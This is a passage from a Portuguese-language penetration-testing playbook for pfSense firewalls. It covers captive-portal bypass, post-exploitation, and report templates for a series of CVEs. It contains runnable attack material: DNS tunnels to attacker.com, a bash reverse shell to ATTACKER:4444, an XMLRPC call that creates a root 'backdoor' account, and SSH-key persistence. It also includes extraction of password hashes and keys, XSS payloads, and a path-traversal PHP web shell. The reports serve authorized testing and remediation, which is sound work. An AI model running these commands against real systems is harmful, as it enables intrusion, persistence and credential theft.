# Funciona para tráfego UDP/ICMP se regras são só por IP

# Bypass 3: DNS Tunnel (se DNS não passa pelo portal)
iodine -f -P senha dns.attacker.com
dnscat2 --domain attacker.com

# Bypass 4: IPv6 (se portal não cobre IPv6)
ping6 -c3 ipv6.google.com  # Funciona? Portal não cobre v6?

# Bypass 5: Sessão HTTP sem redirect (hosts na whitelist)
curl -sk http://IP_NA_WHITELIST/

# Bypass 6: SSL Tunnel via HTTPS (porta 443 frequentemente não bloqueada)
stunnel client config para port 443
```

### 7.2 Voucher Exploitation
```bash
# Vouchers do Captive Portal — verificar entropia
# Código em services_captiveportal_vouchers.php
# Testar códigos de voucher gerados por padrão fraco

# Enumerar endpoint de voucher
curl -sk -b cookies.txt https://TARGET/services_captiveportal_vouchers.php
```

---

## Fase 8 — Pós-Exploração & Persistência

### 8.1 Após Acesso ao Web GUI (admin)
```bash
# 1. Extrair config completo (contém tudo)
curl -sk -b cookies.txt https://TARGET/diag_backup.php \
  -d "backuparea=&nopackages=&Submit=Download+configuration+as+XML" \
  -o full_config.xml

# Parsear config
grep -E "password|sha|bcrypt|psk|secret|key|cert" full_config.xml | head -50

# 2. Extrair certificados/chaves privadas
grep -A5 "prv\|private\|-----BEGIN" full_config.xml | head -100

# 3. Shell reverso via diag_command.php
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# URL encode e POST via curl com cookies válidos

# 4. Adicionar usuário backdoor via XMLRPC
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>exec_php</methodName><params><param><value><string>
$config["system"]["user"][] = ["name"=>"backdoor","password"=>"\$2y\$10\$hashaqui","uid"=>"0","priv"=>["page-all"]];
write_config();
</string></value></param></params></methodCall>'
```

### 8.2 Após Acesso SSH (admin/root)
```bash
# pfSense roda FreeBSD — comandos BSD
uname -a
id
whoami

# Arquivos de configuração críticos
cat /cf/conf/config.xml        # Configuração principal
cat /etc/passwd                # Usuários do sistema
cat /etc/master.passwd         # Hashes de senha

# Redes e routing
ifconfig -a
netstat -rn
pfctl -s rules                 # Regras de firewall ativas
pfctl -s nat                   # Regras NAT

# Serviços em execução
ps aux
sockstat -l                    # Portas em escuta

# Persistência — adicionar chave SSH
mkdir -p /root/.ssh
echo "ssh-rsa AAAA... attacker" >> /root/.ssh/authorized_keys

# Persistência via pacote (se pkg disponível)
# Instalar pacote malicioso via /usr/local/pkg/

# Exfiltrar configuração
scp admin@TARGET:/cf/conf/config.xml ./
```

### 8.3 Pivoting via pfSense Comprometido
```bash
# pfSense tem visibilidade de TODAS as redes (WAN, LAN, DMZ, VLANs)
# É o ponto de pivoting ideal

# Listar todas as interfaces e redes acessíveis
pfctl -s rules | grep "pass in"
ifconfig -a | grep "inet "

# Adicionar rota temporária para rede interna via pfSense
# (do host atacante, após SOCKS proxy)
ssh -D 9050 admin@TARGET -N &
proxychains nmap -sT 10.0.0.0/24

# Usando metasploit route
# route add 10.0.0.0/24 SESSION_ID
# use auxiliary/scanner/portscan/tcp
# set RHOSTS 10.0.0.1-254
```

---

## Fase 9 — Findings Templates

### 9.1 CRITICAL — RCE via Credenciais Padrão + diag_command.php

```
FINDING: PFSENSE-RCE-001
TÍTULO: Execução Remota de Código via Credenciais Padrão
SEVERIDADE: CRÍTICO (CVSS 9.8)
PTES: Section 4 (Exploitation)
CWE: CWE-798 (Use of Hard-coded Credentials) + CWE-78 (OS Command Injection)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /diag_command.php

DESCRIÇÃO:
O pfSense foi encontrado com as credenciais padrão de fábrica (admin/pfsense).
Após autenticação, o endpoint /diag_command.php permite execução de comandos
arbitrários como root no sistema operacional FreeBSD subjacente.

EVIDÊNCIA:
$ curl -sk -c cookies.txt -b cookies.txt \
  -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
  https://[TARGET]/ | grep -c "Logout"
1  # autenticação bem-sucedida

$ curl -sk -b cookies.txt https://[TARGET]/diag_command.php \
  -d "txtCommand=id&submit=EXEC&csrf_magic=[TOKEN]"
uid=0(root) gid=0(wheel)

IMPACTO:
- Controle total do firewall e todas as redes gerenciadas por ele
- Exfiltração de todas as credenciais, certificados e chaves VPN
- Possibilidade de pivoting para redes internas segregadas
- Modificação de regras de firewall para abertura de backdoors permanentes

REMEDIAÇÃO:
1. Alterar imediatamente a senha do admin (Sistema > Gerenciador de Usuários)
2. Implementar 2FA para acesso ao Web GUI
3. Restringir acesso ao Web GUI por IP de origem (Firewall > Rules)
4. Desabilitar diag_command.php para usuários não-root (Avançado > Admin)
5. Habilitar logging de autenticação
6. Considerar isolamento do acesso de gestão em VLAN dedicada

PTES REFERENCE: Section 4.1 (Exploitation — Precision Strike)
```

### 9.2 HIGH — SNMP com Community String Padrão

```
FINDING: PFSENSE-SNMP-001
TÍTULO: SNMP com Community String Padrão "public" Habilitado
SEVERIDADE: ALTO (CVSS 7.5)
CWE: CWE-1188 (Insecure Default Initialization)

ALVO:
- Host: [TARGET]
- Porta: 161/UDP

DESCRIÇÃO:
O serviço SNMP está habilitado com a community string "public", permitindo
leitura de informações sensíveis de rede como tabelas de roteamento, interfaces,
conexões TCP ativas e configuração de sistema.

EVIDÊNCIA:
$ snmpwalk -v2c -c public [TARGET] 1.3.6.1.2.1.1 2>/dev/null
SNMPv2-MIB::sysDescr.0 = STRING: pfSense [versão] FreeBSD [versão]
[...]

IMPACTO:
- Mapeamento completo de topologia de rede
- Descoberta de hosts e redes internas
- Enumeração de serviços e versões

REMEDIAÇÃO:
1. Alterar community string para valor complexo/aleatório
2. Restringir acesso SNMP por IP de origem
3. Migrar para SNMPv3 com autenticação
4. Desabilitar SNMP se não for necessário

PTES REFERENCE: Section 2.5 (External Footprinting)
```

### 9.3 HIGH — XMLRPC Exposto na WAN

```
FINDING: PFSENSE-XMLRPC-001
TÍTULO: Interface XMLRPC Exposta na Interface WAN
SEVERIDADE: ALTO (CVSS 8.8)
CWE: CWE-284 (Improper Access Control)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /xmlrpc.php

DESCRIÇÃO:
O endpoint XMLRPC do pfSense, utilizado para sincronização de Alta Disponibilidade,
está acessível a partir da rede WAN. Embora requeira autenticação, expõe métodos
sensíveis como exec_shell e exec_php que permitem RCE com acesso admin.

EVIDÊNCIA:
$ curl -sk https://[TARGET]/xmlrpc.php -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>host_firmware_version</methodName>...</methodCall>'
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="pfSense webConfigurator"
# Endpoint responde — confirma que está acessível

IMPACTO:
- Superfície de ataque ampliada para brute force
- Se credenciais forem comprometidas: RCE via exec_shell/exec_php

REMEDIAÇÃO:
1. Bloquear acesso ao /xmlrpc.php na interface WAN via regras de firewall
2. Restringir XMLRPC apenas ao IP do Secondary/Slave (HA)
3. Implementar autenticação de dois fatores

PTES REFERENCE: Section 3.1 (Vulnerability Testing)
```

### 9.4 MEDIUM — CVE-2025-34174: Stored XSS via Status_Traffic_Totals

```
FINDING: PFSENSE-TRAFFICTOTALS-001
TÍTULO: Stored XSS Persistente via Status_Traffic_Totals (CVE-2025-34174)
SEVERIDADE: MÉDIO isolado (CVSS 5.4) / CRÍTICO encadeado → RCE via diag_command.php
VERSÃO AFETADA: pfSense CE 2.8.0/2.8.1, Plus 25.07/25.07.1, Status_Traffic_Totals <= 2.3.2_7
PTES: Section 3.1 / Section 4.1 (encadeado)
CWE: CWE-79 (Stored XSS)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /status_traffic_totals.php
- Parâmetro: start-day (POST, quando defaults=1) — e 5 outros
- Config: installedpackages/traffictotals/config/0/startday

DESCRIÇÃO:
O parâmetro start-day (e outros 5) são armazenados no config.xml do pfSense
sem validação ou sanitização. O código vulnerável continha o comentário
"//TODO clean inputs", indicando que o desenvolvedor sabia da omissão e
entregou o código incompleto em produção (linha ~73, pré-patch).

O valor é refletido sem htmlspecialchars() no HTML da página (linha ~240):

    <input type="number" ... value="<?=$startDay?>">

Injeção: start-day="><img src=x onerror=PAYLOAD>
Renderizado: <input ... value=""><img src=x onerror=PAYLOAD>

Como o valor fica persistido no config, afeta TODOS os usuários que acessam
Status > Traffic Totals — sem necessidade de enviar links maliciosos.

EVIDÊNCIA — PLANTE:
POST /status_traffic_totals.php
defaults=1&time-period=day&graph-type=line&invert=false&cumulative=false
&start-day="><img src=x onerror=alert(document.domain)>

Resposta: "The changes have been applied successfully."

EVIDÊNCIA — VERIFICAÇÃO:
$ curl -sk -b cookies.jar https://[TARGET]/status_traffic_totals.php \
  | grep -c "onerror="
1  ← payload ativo, afetando todos os usuários da página

CADEIA XSS → RCE:
1. Atacante (baixo privilégio: "WebCfg - Status: Traffic Totals") planta payload
2. Admin visita Status > Traffic Totals (ação rotineira)
3. JS faz fetch() para diag_command.php com CSRF token legítimo do admin
4. Comando executado como root, resultado exfiltrado para atacante
5. RCE confirmado sem o atacante precisar ter conta admin

COMPARAÇÃO COM XSS REFLETIDO (CVE-2025-34172 HAProxy):
  Reflected: requer engenharia social (enviar link)
  Stored: dispara automaticamente para qualquer visitante

IMPACTO:
- Comprometimento de sessão de qualquer usuário autenticado
- Com sessão admin: RCE como root via diag_command.php
- Payload persiste até sobrescrita manual do config
- Evidência de má prática: TODO comentado entrou em produção

REMEDIAÇÃO:
1. Atualizar Status_Traffic_Totals para >= 2.3.3
2. Aplicar patch: commit 9e412ed @ pfsense/FreeBSD-ports
3. Verificar config.xml em installedpackages/traffictotals/config/0
   e remover valores maliciosos de startday se encontrados
4. Revisar processo de code review — não aceitar //TODO em parâmetros HTTP

PoC: pocs/PfSense/CVE-2025-34174/poc.py
PTES REFERENCE: Section 3.1, 4.1
REFERÊNCIAS:
- https://github.com/pfsense/FreeBSD-ports/commit/9e412edf62113303c36c7f7d5a48b0a3fb0be893
- https://redmine.pfsense.org/issues/16413
- https://www.vulncheck.com/advisories/netgate-pf-sense-ce-status-traffic-totals-stored-xss
```

### 9.5 MEDIUM — CVE-2025-34173: File Existence Oracle via Snort IP Reputation

```
FINDING: PFSENSE-SNORT-001
TÍTULO: Enumeração de Arquivos via Path Traversal no Snort IP Reputation (CVE-2025-34173)
SEVERIDADE: MÉDIO isolado / ALTO encadeado com CVE-2025-53392 (CVSS v3.1: 4.3)
VERSÃO AFETADA: pfSense CE 2.8.0/2.8.1, Plus 25.07/25.07.1, Snort package <= 4.1.6_25
PTES: Section 3.1 (Vulnerability Testing) / Section 2.5 (Intelligence Gathering)
CWE: CWE-22 (Path Traversal)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /snort/snort_ip_reputation.php
- Parâmetro: iplist (POST), modes: blist_add / wlist_add

DESCRIÇÃO:
O módulo de reputação IP do pacote Snort usa file_exists($_POST['iplist'])
sem restrição de path ou basename() (pré-patch, linhas ~60 e ~86):

    if (file_exists($_POST['iplist'])) {
        // adiciona ao config
    } else {
        $input_errors[] = "The file '{$_POST['iplist']}' could not be found.";
    }

A diferença nas respostas cria um oracle booleano: presença ou ausência da
mensagem "could not be found" revela se o path submetido existe no sistema.
Como o processo web roda como root, qualquer arquivo ou diretório do sistema
pode ser verificado, incluindo chaves privadas, PSKs de VPN e credenciais.

EVIDÊNCIA:
# Arquivo EXISTE (/etc/master.passwd):
$ curl -sk -b cookies.jar https://[TARGET]/snort/snort_ip_reputation.php \
  -d "mode=wlist_add&iplist=/etc/master.passwd&id=0&csrf_magic=[TOKEN]" \
  | grep -c "could not be found"
0  ← zero ocorrências = arquivo existe

# Arquivo NÃO EXISTE (/etc/fantasma):
$ curl -sk -b cookies.jar https://[TARGET]/snort/snort_ip_reputation.php \
  -d "mode=wlist_add&iplist=/etc/fantasma&id=0&csrf_magic=[TOKEN]" \
  | grep -c "could not be found"
1  ← arquivo não existe

ARQUIVOS CONFIRMADOS EXISTENTES:
[CRÍTICO] /etc/master.passwd
[CRÍTICO] /cf/conf/config.xml
[CRÍTICO] /var/etc/ipsec/swanctl.conf
[ALTO]    /var/etc/openvpn/server1.conf
[MÉDIO]   /usr/local/www/suricata/        ← CVE-2025-12490 aplicável!

CADEIA DE EXPLORAÇÃO (com CVE-2025-53392):
1. CVE-2025-34173 confirma existência de /cf/conf/config.xml
2. CVE-2025-53392 (dlPath) lê /cf/conf/config.xml
3. Extrai: hashes de senha, PSKs VPN, certificados, chaves privadas

IMPACTO ISOLADO:
- Mapeamento completo do filesystem (arquivos sensíveis, serviços, pacotes)
- Detecção de comprometimento anterior (IOC hunting)
- Identificação de vetores adicionais (pacotes instalados com CVEs conhecidos)

IMPACTO ENCADEADO (+ CVE-2025-53392):
- Exfiltração de credenciais, segredos VPN e chaves SSH
- Equivalente a acesso total à configuração do firewall

REMEDIAÇÃO:
1. Atualizar Snort package para >= 4.1.6_26
2. Aplicar patch: commit d6f462b @ pfsense/FreeBSD-ports
3. Restringir o privilégio "WebCfg - Services: Snort package" apenas a admins plenos

PoC: pocs/PfSense/CVE-2025-34173/poc.py
PTES REFERENCE: Section 2.5 (Intelligence Gathering), Section 3.1
REFERÊNCIAS:
- https://github.com/pfsense/FreeBSD-ports/commit/d6f462bcc446969f8955c16cfde300d5c9ab7435
- https://redmine.pfsense.org/issues/16412
- https://www.vulncheck.com/advisories/netgate-pf-sense-ce-snort-directory-traversal-information-disclosure
```

### 9.6 MEDIUM — CVE-2025-34172: XSS + HAProxy Socket Injection

```
FINDING: PFSENSE-HAPROXY-001
TÍTULO: Reflected XSS e Injeção de Comando no Socket HAProxy (CVE-2025-34172)
SEVERIDADE: MÉDIO (CVSS v3.1 6.1 / encadear com diag_command.php eleva para CRÍTICO)
VERSÃO AFETADA: pfSense CE 2.8.0/2.8.1, Plus 25.07/25.07.1, HAProxy package <= 0.63_10
PTES: Section 3.1 / Section 4.1 (quando encadeado com session hijack)
CWE: CWE-79 (XSS) + CWE-78 implícito (socket injection)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /haproxy/haproxy_stats.php
- Parâmetros: showsticktablecontent, showstatresolvers (GET)

DESCRIÇÃO:
O endpoint haproxy_stats.php utiliza o parâmetro GET showsticktablecontent
em duas operações sem sanitização (haproxy_stats.php, pré-patch):

  (1) Exibição sem htmlspecialchars() → XSS refletido
  (2) Passagem direta para haproxy_socket_command() → socket injection

O protocolo HAProxy Management API usa \n como separador de comandos.
Injeta-se \n<comando> para executar comandos arbitrários no plano de
controle do HAProxy:

  ?showsticktablecontent=fake_table%0aset+server+backend/srv+addr+attacker_ip

O CVSS v3.1 registra PR:N, indicando que a stats page pode ser configurada
como endpoint público sem autenticação pfSense — aumentando superfície de ataque.

EVIDÊNCIA XSS:
$ curl -sk "https://[TARGET]/haproxy/haproxy_stats.php?\
showsticktablecontent=<img+src=x+onerror=alert(1)>" | grep -o "sticktable.*img.*"
Contents of the sticktable: <img src=x onerror=alert(1)>   ← refletido sem encode

EVIDÊNCIA SOCKET INJECTION:
$ curl -sk -b cookies.jar "https://[TARGET]/haproxy/haproxy_stats.php?\
showsticktablecontent=xxx%0ashow+info" | grep "Version:"
Version: 2.8.x-[hash]   ← output de "show info" injetado

CADEIA EXPLORAÇÃO XSS → RCE:
1. Atacante envia link malicioso para admin autenticado
2. Admin clica → cookie PHPSESSID exfiltrado para listener
3. Atacante usa cookie em diag_command.php
4. RCE como root via diag_command.php?txtCommand=id

IMPACTO SOCKET INJECTION:
- Redirecionamento de tráfego de backend para IP do atacante (MITM)
- Desativação de servidores do pool HAProxy
- Manipulação de ACLs, rate limits e tabelas de sessão

REMEDIAÇÃO:
1. Atualizar HAProxy package para >= 0.63_11
2. Aplicar patch: commit 04d1328 @ pfsense/FreeBSD-ports
3. Restringir acesso à stats page por IP de origem
4. Desabilitar stats page se não for necessária

PoC: pocs/PfSense/CVE-2025-34172/poc.py
PTES REFERENCE: Section 3.1, 4.1
REFERÊNCIAS:
- https://github.com/pfsense/FreeBSD-ports/commit/04d1328ab077830eb57a24bb7018c812b6358c64
- https://redmine.pfsense.org/issues/16411
- https://www.vulncheck.com/advisories/netgate-pf-sense-ce-ha-proxy-reflected-xss
```

### 9.7 HIGH — CVE-2025-12490: Path Traversal → RCE via Suricata SID Management


```
FINDING: PFSENSE-SURICATA-001
TÍTULO: RCE via Path Traversal no Gerenciamento de Listas SID do Suricata (CVE-2025-12490)
SEVERIDADE: ALTO (CVSS 8.8)
VERSÃO AFETADA: pfSense CE 2.8.1 com Suricata package 7.0.8_3 (e Snort — mesma família)
PTES: Section 4.1 (Exploitation — Precision Strike)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /suricata/suricata_sid_mgmt.php
- Parâmetros: sidlist_name (POST, passo save) + sidlist_dnload_all (POST, passo trigger)

DESCRIÇÃO:
O pacote Suricata do pfSense CE 2.8.1 contém uma vulnerabilidade de path traversal
em duas etapas no gerenciamento de listas SID. A análise do diff do commit de correção
(36b2303 no FreeBSD-ports) revela:

Etapa 1 — Persistência do nome malicioso (save):
    $tmp['name'] = $_POST['sidlist_name'];  // sem basename()
    (armazenado em config.xml)

Etapa 2 — Escrita arbitrária (trigger):
    file_put_contents($tmpdirname . $list['name'], base64_decode($list['content']));
    // sem basename(), $tmpdirname = /tmp/sidmods/

Com sidlist_name = "../../usr/local/www/shell.php", o path resolve para:
    /tmp/sidmods/../../usr/local/www/shell.php → /usr/local/www/shell.php
que é o web root do pfSense, tornando o arquivo diretamente acessível via HTTP.

EVIDÊNCIA:
Passo 1 — Salvar lista com nome traversal:
POST /suricata/suricata_sid_mgmt.php
sidlist_name=../../usr/local/www/pfsense_shell.php
sidlist_data=<?php system($_GET["cmd"]);?>

Passo 2 — Triggar file_put_contents:
POST /suricata/suricata_sid_mgmt.php
sidlist_dnload_all=Download+All

Passo 3 — Executar RCE:
$ curl -sk "https://[TARGET]/pfsense_shell.php?cmd=id"
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

IMPACTO:
- RCE com privilégios de root no sistema operacional FreeBSD
- Controle total do firewall e de todas as redes gerenciadas
- Exfiltração de configuração, chaves VPN e certificados
- Pivoting para redes internas

CONDIÇÕES:
- Pacote Suricata (ou Snort) instalado
- Qualquer usuário com acesso às páginas do pacote
  (não requer privilégio admin completo)

REMEDIAÇÃO:
1. Atualizar o pacote Suricata para versão ≥ 7.0.8_4
2. Atualizar o pacote Snort para versão ≥ 4.1.7_1
3. Aplicar patch: commit 36b2303 no pfsense/FreeBSD-ports
4. Restringir acesso ao GUI do Suricata/Snort apenas a administradores plenos

PTES REFERENCE: Section 4.1 (Exploitation — Precision Strike)
REFERÊNCIAS:
- ZDI-25-979 (ZDI-CAN-28085)
- https://github.com/pfsense/FreeBSD-ports/commit/36b2303dfca35a1183d76f26bcc6ce26d4ea682d
```

### 9.8 MEDIUM — CVE-2025-53392: File Read Arbitrário via diag_command.php

```
FINDING: PFSENSE-FILEREAD-001
TÍTULO: Leitura Arbitrária de Arquivos via Parâmetro dlPath (CVE-2025-53392)
SEVERIDADE: MÉDIO (CVSS 6.5)
VERSÃO AFETADA: pfSense CE 2.8.0
PTES: Section 3.1 (Vulnerability Testing) / Section 4.1 (Exploitation)
CWE: CWE-36 (Absolute Path Traversal)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /diag_command.php
- Parâmetro: dlPath (POST)

DESCRIÇÃO:
O endpoint /diag_command.php processa o parâmetro POST `dlPath` sem nenhuma
validação de caminho ou restrição de diretório (diag_command.php:44-46):

    if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
        send_user_download('file', $_POST['dlPath']);

Qualquer usuário com o privilégio granular "Diagnostics: Command"
(page-diagnostics-command) — não necessariamente admin completo — pode
baixar arquivos arbitrários do sistema de arquivos FreeBSD subjacente,
incluindo hashes de senha, chaves privadas e configuração completa.

O processo web do pfSense (nginx + php-fpm) roda como root, portanto
não há restrições de permissões de SO contra a exploração.

EVIDÊNCIA:
# Usuário de baixo privilégio com apenas page-diagnostics-command
$ curl -sk -b cookies.jar \
  -d "dlPath=/etc/master.passwd&submit=DOWNLOAD&csrf_magic=[TOKEN]" \
  https://[TARGET]/diag_command.php | head -5
root:$6$[hash]:0:0:Charlie &:/root:/bin/sh
admin:$6$[hash]:0:0::/home/admin:/bin/sh

$ curl -sk -b cookies.jar \
  -d "dlPath=/cf/conf/config.xml&submit=DOWNLOAD&csrf_magic=[TOKEN]" \
  https://[TARGET]/diag_command.php | grep -c "pfsense"
1  # config.xml completo baixado

ARQUIVOS DE ALTO VALOR:
- /etc/master.passwd         — hashes bcrypt de todos os usuários do SO
- /cf/conf/config.xml        — config completo (VPN PSKs, certs, senhas)
- /etc/ssh/ssh_host_rsa_key  — chave privada SSH do host
- /var/etc/openvpn/*.key     — chaves privadas OpenVPN
- /var/etc/ipsec/swanctl.conf — configuração IPSec com PSKs
- /root/.ssh/authorized_keys — chaves SSH autorizadas

IMPACTO:
- Comprometimento de credenciais de todos os usuários do sistema
- Exfiltração de todos os segredos VPN (PSKs, certificados, chaves)
- Escalada horizontal: usar credenciais/chaves em outros sistemas da rede
- Combinado com editor de arquivos (diag_edit.php): leitura + escrita = RCE

CONTEXTO VENDOR:
A Netgate rejeitou o report argumentando que "acesso de diagnóstico implica
permissões root". O pesquisador (skraft9) contra-argumentou que a documentação
de privilégio não declara explicitamente essa equivalência, e que "UI warnings
não substituem design seguro". Sem CVSSv3 oficial da Netgate — usar 6.5.

REMEDIAÇÃO:
1. Aplicar validação de caminho com realpath() e whitelist de diretórios
2. Bloquear caminhos absolutos e sequências ".." no parâmetro dlPath
3. Restringir downloads apenas a /tmp/ ou diretório dedicado
4. Revisar a granularidade do privilégio page-diagnostics-command —
   documentar explicitamente que equivale a acesso root
5. Considerar remoção do recurso de download de arquivos do GUI

CADEIA DE EXPLORAÇÃO:
CVE-2025-34173/34176 (oracle) → confirma existência dos arquivos alvo
CVE-2025-53392 (dlPath)       → lê os arquivos confirmados
Resultado: hashes bcrypt + PSKs VPN + chaves privadas SSH/OpenVPN/IPSec

ANÁLISE AUTOMÁTICA (pós-exfiltração):
python3 poc.py analyze --out-dir ./exfil/
  → hashes_for_hashcat.txt   (hashcat -m 3200)
  → PSKs IPSec em texto plano
  → private keys SSH/VPN identificadas
  → admin password hash extraído do config.xml

PTES REFERENCE: Section 3.1, 4.1
REFERÊNCIAS:
- https://github.com/skraft9/pfsense-security-research
PoC: pocs/PfSense/CVE-2025-53392/poc.py
```

### 9.9 MEDIUM — CVE-2025-34175: Reflected XSS via suricata_filecheck.php

```
FINDING: PFSENSE-SURICATA-XSS-001
TÍTULO: Reflected XSS via Parâmetro filehash em suricata_filecheck.php (CVE-2025-34175)
SEVERIDADE: MÉDIO (CVSS 6.1)
VERSÃO AFETADA: pfSense CE 2.8.0/2.8.1 e Plus 25.07/25.07.1 com Suricata <= 7.0.8_3
PTES: Section 3.1 (Vulnerability Testing) / Section 4.1 (Exploitation)
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /suricata/suricata_filecheck.php
- Parâmetro: filehash (GET)

DESCRIÇÃO:
O parâmetro GET `filehash` da página suricata_filecheck.php é refletido
diretamente em 7 atributos href apontando para serviços externos de análise
de ameaças (VirusTotal, Hybrid Analysis, Jotti, MetaDefender, JoeSandbox,
Kaspersky OpenTip, VirusBay), sem nenhum encoding:

PRÉ-PATCH (vulnerável):
    <a href="https://www.virustotal.com/gui/file/<?=$file_hash;?>/detection/">

PÓS-PATCH (commit 97852cc):
    <a href="https://www.virustotal.com/gui/file/<?=urlencode($file_hash);?>/detection/">

Ao injetar `"` no valor de filehash, é possível quebrar o atributo href e
inserir novos atributos no elemento <a>, incluindo event handlers (onclick,
onmouseover) ou substituir o href por javascript:.

O CVSS atribui PR:N porque o atacante não precisa de credenciais: basta
craftar uma URL maliciosa e enviá-la para um admin autenticado via phishing
interno ou mensagem de chat.

EVIDÊNCIA:
# Payload (atributo-injeção com img onerror):
filehash = "><img src=x onerror=alert(document.domain)>

# URL maliciosa gerada (sem credenciais):
https://[TARGET]/suricata/suricata_filecheck.php?filehash=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E

# HTML resultante quando admin visita:
<a href="https://www.virustotal.com/gui/file/"><img src=x onerror=alert(document.domain)>/detection/">

# Confirmação de reflexão raw (com sessão admin):
$ curl -sk -b cookies.jar \
  "https://[TARGET]/suricata/suricata_filecheck.php?filehash=probe%22marker" \
  | grep -o 'virustotal.com/gui/file/[^"]*'
virustotal.com/gui/file/probe"marker   ← sem encoding = VULNERÁVEL

CADEIA DE EXPLORAÇÃO (XSS → RCE):
1. Attacker crafta URL com payload de roubo de sessão (sem credenciais)
2. Admin autenticado clica no link (phishing interno)
3. PHPSESSID exfiltrado via fetch() para servidor do atacante
4. Atacante usa sessão capturada em /diag_command.php → RCE como root

NOTA: O commit 97852cc corrige adicionalmente:
- CVE-2025-34176: file existence oracle em suricata_ip_reputation.php
- CVE-2025-34177: Stored XSS via policy_name em suricata_flow_stream.php
- CVE-2025-34178: Stored XSS via policy_name em suricata_app_parsers.php

IMPACTO:
- Roubo de sessão de admin autenticado
- XSS→RCE como root via diag_command.php com sessão capturada
- Execução arbitrária de JavaScript no contexto do GUI pfSense

REMEDIAÇÃO:
1. Atualizar pacote Suricata para versão >= 7.0.8_4
2. Aplicar patch: commit 97852cc @ pfsense/FreeBSD-ports
3. Restringir acesso à página suricata_filecheck.php a redes confiáveis

PoC: pocs/PfSense/CVE-2025-34175/poc.py
PTES REFERENCE: Section 3.1, 4.1
REFERÊNCIAS:
- https://github.com/pfsense/FreeBSD-ports/commit/97852ccfd201b24ee542be30af81272485fde0b4
```

### 9.10 MEDIUM — CVE-2025-34176: File Existence Oracle via suricata_ip_reputation.php

```
FINDING: PFSENSE-SURICATA-ORACLE-001
TÍTULO: Enumeração de Arquivos via Path Traversal no Suricata IP Reputation (CVE-2025-34176)
SEVERIDADE: MÉDIO (CVSS 4.3)
VERSÃO AFETADA: pfSense CE 2.8.0/2.8.1 e Plus 25.07/25.07.1 com Suricata <= 7.0.8_3
PTES: Section 3.1 (Vulnerability Testing) / Section 4.1 (Exploitation)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

ALVO:
- Host: [TARGET]
- Porta: 443
- Endpoint: /suricata/suricata_ip_reputation.php
- Parâmetro: iplist (POST)
- Modos: iprep_catlist_add, iplist_add

DESCRIÇÃO:
O parâmetro POST `iplist` em suricata_ip_reputation.php é passado diretamente
para file_exists() sem basename() ou restrição de diretório (pré-patch):

    if (file_exists($_POST['iplist'])) {        // sem basename()!
        // arquivo existe → adiciona ao config
    } else {
        $input_errors[] = "The file '..." could not be found.";
    }

Isso cria um oracle de existência de arquivo de 3 estados que permite enumerar
qualquer path acessível pelo processo web (rodando como root):
  1. "could not be found" → arquivo NÃO existe
  2. "already assigned"   → arquivo existe (já na lista, sem side-effect)
  3. sem erro             → arquivo existe (adicionado ao config — requer cleanup)

Vulnerabilidade estruturalmente idêntica ao CVE-2025-34173 (Snort),
corrigida no mesmo commit 97852cc.

EVIDÊNCIA:
# Verificar /etc/master.passwd (hashes de senha):
POST /suricata/suricata_ip_reputation.php HTTP/1.1
mode=iplist_add&iplist=/etc/master.passwd&id=0&csrf_magic=[TOKEN]

# Resposta sem "could not be found" → /etc/master.passwd EXISTE
# → usar CVE-2025-53392 para ler o conteúdo

# Enumeração de 35+ alvos de alto valor:
$ python3 poc.py -t https://[TARGET] -u admin -p pfsense enum
  [EXISTE] /etc/master.passwd       CRÍTICO | Hashes bcrypt de todos os usuários
  [EXISTE] /cf/conf/config.xml      CRÍTICO | Config completo pfSense
  [EXISTE] /var/etc/ipsec/swanctl.conf CRÍTICO | Config IPSec com PSKs
  ...
  RESULTADO: 12 encontrados / 35 verificados

CADEIA DE EXPLORAÇÃO:
CVE-2025-34176 (oracle) → CVE-2025-53392 (dlPath leitura) → exfiltração de hashes/PSKs
Se ambos Snort e Suricata instalados: dois oracles redundantes disponíveis

IMPACTO:
- Mapeamento preciso de arquivos sensíveis presentes no sistema
- Base para chain attack com leitura de arquivos (CVE-2025-53392)
- Possibilita exfiltração dirigida (sem tentativas cegas)

REMEDIAÇÃO:
1. Atualizar pacote Suricata para versão >= 7.0.8_4
2. Aplicar patch: commit 97852cc @ pfsense/FreeBSD-ports
3. Restringir acesso ao GUI do Suricata apenas a administradores plenos

PoC: pocs/PfSense/CVE-2025-34176/poc.py
PTES REFERENCE: Section 3.1, 4.1
REFERÊNCIAS:
- https://github.com/pfsense/FreeBSD-ports/commit/97852ccfd201b24ee542be30af81272485fde0b4
```

### 9.11 MEDIUM — CVE-2023-48795: Terrapin Attack — SSH Prefix Truncation

```
FINDING: PFSENSE-SSH-TERRAPIN-001
TÍTULO: Terrapin Attack — Downgrade de Autenticação SSH via Prefix Truncation (CVE-2023-48795)
SEVERIDADE: MÉDIO (CVSS 5.9) — EPSS 99º PERCENTIL
VERSÃO AFETADA: pfSense CE <= 2.7.2 / Plus <= 23.09.1 (OpenSSH 9.4p1)
VERSÃO CORRIGIDA: pfSense CE >= 2.8.0 / Plus >= 24.03 (OpenSSH 9.6p1)
PTES: Section 3.2 (Network Scanning) / Section 4.1 (Exploitation)
CWE: CWE-354 (Improper Validation of Integrity Check Value)
FreeBSD Advisory: FreeBSD-SA-23:19.openssh

ALVO:
- Host: [TARGET]
- Porta: 22 (SSH)
- Serviço: OpenSSH 9.4p1 (pfSense CE 2.7.2 / Plus 23.09.1)

